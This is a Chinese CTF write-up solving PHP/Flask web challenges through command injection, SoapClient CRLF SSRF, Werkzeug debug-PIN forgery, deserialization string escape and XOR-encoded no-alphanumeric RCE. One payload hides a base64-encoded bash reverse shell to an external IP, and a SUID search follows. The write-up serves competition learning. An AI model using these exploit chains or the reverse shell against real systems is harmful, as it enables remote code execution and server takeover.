WEB

web签到

直接上payload

/?c=cat /flag%0a

虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行

prprp…py?

打开题目显示没有session

可以利用SESSION_UPLOAD_PROGRESS创建一个session:

  • 下方的proxies为BurpSuite的代理地址
import requests
url = "http://1.1.1.1:49343/"
data = {
    "PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
    "file": ("a","a")
}
cookies = {
    "PHPSESSID": "a"
}
proxies = {
    "http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)

发包过去就能拿到源码了

获取到的源码如下,这里稍作分析:

  • $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据

  • 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF

  • 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件

  • 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie

<?php
    error_reporting(0);
    if(!isset($_SESSION)){
        die('Session not started');
    }
    highlight_file(__FILE__);
    $type = $_SESSION['type'];
    $properties = $_SESSION['properties'];
    echo urlencode($_POST['data']);
    extract(unserialize($_POST['data']));
    if(is_string($properties)&&unserialize(urldecode($properties))){
        $object = unserialize(urldecode($properties));
        $object -> sctf();
    exit();
    } else if(is_array($properties)){
        $object = new $type($properties[0],$properties[1]);
    } else {
        $object = file_get_contents('http://127.0.0.1:5000/'.$properties);
    }
    echo "this is the object: $object <br>";

?>

这里的解题思路如下:

  1. 利用SplFIleObject原生类读取文件计算PIN

  2. 利用SoapClient原生类SSRF打Flask服务的Debug,最终RCE

这里简单讲一下SoapClient原生类SSRF:

  • SoapClient原生类SSRF本质上是:当我们实例化一个SoapClient对象,其中构造方法的两个参数可控,如果调用SoapClient不存在的方法,则会向指定URI发送一个POST请求(原本这个类的作用类似于请求远程API接口),由于构造方法的内容可控,导致我们可以在User-Agent的位置注入恶意参数,进而访问内网服务资源

  • 这里的$data是POST的内容,$lendata为$data的长度,用作计算Content-Length

  • 注意在HTTP请求中的换行均为\r\n,其中Header与POST体之间有两个\r\n

  • 红色方框以外的会被丢弃

<?php
$data = "name=admin";
$lendata = strlen($data);
$ua = "datou\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();

首先我们需要计算PIN,计算PIN需要以下几个参数:

  • 运行Flask程序的用户名(可以在/etc/passwd中找到)

  • flask的包路径(其值类似于/usr/local/lib/python3.8/site-packages/flask/app.py)

  • /sys/class/net/eth0/address

  • /proc/sys/kernel/random/boot_id

  • /proc/self/cgroup

接着去读文件,生成读文件序列化数据脚本如下:

<?php
$data["type"] = "SplFileObject";
$data["properties"][0] = "php://filter/read=convert.base64-encode/resource=/proc/sys/kernel/random/boot_id";
$data["properties"][1] = "r";
echo serialize($data);

这里我读到的信息如下(后面三个值,每个人都不一样):

  • 通过/etc/passwd发现有个app用户

  • /sys/class/net/eth0/address为02:42:ac:11:00:1b

  • /proc/sys/kernel/random/boot_id为19cc2109-9300-4ed8-bed1-ed632ed255a4

  • /proc/self/cgroup为0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240

比较麻烦的是获取flask的包路径,这里可以利用GlobIterator原生类读取(这个类的构造方法允许有两个参数)

匹配的脚本如下:

<?php
$data["type"] = "GlobIterator";
$data["properties"][0] = "glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";
$data["properties"][1] = 1;
echo serialize($data);
//a:2:{s:4:"type";s:12:"GlobIterator";s:10:"properties";a:2:{i:0;s:58:"glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";i:1;i:1;}}

最终的匹配结果为:/usr/local/lib/python3.9/dist-packages/flask/app.py

在比赛的时候,位于/usr/lib/python3.8/site-packages/flask/app.py,常见的路径就是这几个,可以利用glob的通配符多试试,有点费事,如果匹配到了就会返回文件名,匹配不到就不返回,有点类似布尔盲注

顺便把/app/app.py读取了,可以看到开启了Debug模式

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

接着计算PIN:

import hashlib
from itertools import chain
import time
probably_public_bits = [
    'app'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.9/dist-packages/flask/app.py' # 报错得到
]

private_bits = [
    str(int('02:42:ac:11:00:1b'.replace(":", ""), 16)), # /sys/class/net/eth0/address
    '19cc2109-9300-4ed8-bed1-ed632ed255a4' + # /proc/sys/kernel/random/boot_id 
    '0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240' # /proc/self/cgroup 
]

h = hashlib.sha1() # 有些版本是md5,Python3大部分版本是sha1
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print("pin为: " + rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")

我这里的计算结果为140-931-835,每个人都不一样,如果担心计算错误,可以查看容器的日志:docker logs -f <container-id>

可以看到我这里计算结果是正确的

有了PIN之后,就是通过SoapClient类SSRF去RCE了

当然,我们还是需要知道进入Debug模式命令执行的具体请求参数,由于比赛时没有可视化页面,正常的话是直接访问/console接口输入PIN点点点就完事了,但是这里我们只能通过SSRF的方式

本地起个Flask:

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8088,debug=True)

抓包,访问/console,输入PIN,执行命令,看看整个流程是怎么样的

其实也很简单,先是一个GET请求,传参,然后返回Cookie(这个Cookie是通过计算得到的,上面已经给出了)

之后携带cookie去执行命令即可

这里有个小问题,就是验证PIN的s值的获取

这个值实际上是存储在/console页面源码中

题目刚好也提供了这一功能访问/console页面

<?php
$data["properties"] = "console";
echo serialize($data);
//a:1:{s:10:"properties";s:7:"console";}

同样传给data可以获取到SECRET,我这里是Y8jRuFsyHCoJ64lgXpk0

接下来就是构造SoapClient请求打SSRF了,需要构造的包大概长下方这样

构造SSRF请求的EXP如下:

  • 复现的时候替换下方4-6行即可

  • 我这里命令执行做了两次Base64编码是因为+在中途传参会出现编码问题,同时注意空格最好用${IFS}代替,同样也是防止编码问题

<?php
$data = "name=admin";
$lendata = strlen($data);
$cookie = "__wzd1cebf2989b4eebb2a577=1687509747|5b1000f3f6c5";
$cmd = 'echo${IFS}TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09|base64${IFS}-d|base64${IFS}-d|bash';
$s = "Y8jRuFsyHCoJ64lgXpk0";
$ua = "datou\r\nCookie: $cookie\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$uri = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").system("""$cmd""")&frm=0&s=$s';
$uri = str_replace('$s', "$s", $uri);
$uri = str_replace('$cmd', "$cmd", $uri);
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => $uri, 'user_agent' => $ua));
$serdata["properties"] = urlencode(serialize($client));
echo serialize($serdata);
//a:1:{s:10:"properties";s:746:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22datou%22%3Bs%3A8%3A%22location%22%3Bs%3A237%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.system%28%22%22%22echo%24%7BIFS%7DTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09%7Cbase64%24%7BIFS%7D-d%7Cbase64%24%7BIFS%7D-d%7Cbash%22%22%22%29%26frm%3D0%26s%3DY8jRuFsyHCoJ64lgXpk0%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A147%3A%22datou%0D%0ACookie%3A+__wzd1cebf2989b4eebb2a577%3D1687509747%7C5b1000f3f6c5%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+10%0D%0A%0D%0Aname%3Dadmin%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}

成功反弹shell

但由于flag需要root权限,所以还要提权。搜索有SUID权限的命令:

find / -perm -u=s -type f 2>/dev/null

发现curl可以使用:

反序化

下载www.zip,里面有源码

my.php里的pull_it是恶意类,能控制$this->x就能命令执行,这里是无字母数字命令执行

index.php里对传入的参数先做序列化存储在$_SESSION里,并用b函数替换字符

当访问login.php时,会先替换字符再做反序列化

a函数和b函数都是字符串替换,数量不一致很明显存在字符串逃逸。这里b函数其实没用,我们用a函数就行了,用a函数就是字符串减少逃逸

构造异或的payload,并做base64编码:

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7

生成序列化字符串

<?php 
class pull_it {
    private $x;
    function __construct($xx) {
        $this->x = $xx;
    }
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7")));
echo urlencode(serialize($l));
//O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D

然后逃逸字符,逃逸14个字符,可以在pwd参数位置在本地微调

POST /index.php HTTP/1.1
Host: web-898394c697.challenge.xctf.org.cn
Content-Length: 313
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=52q1rf64lljie7ivi6tbte4hnb

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"datou";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D

再访问login.php拿flag,记得带上SESSION

附:异或工具

使用方法:先执行xor.php生成合法字符,再执行xor.py生成异或命令

xor.php:

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py:

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)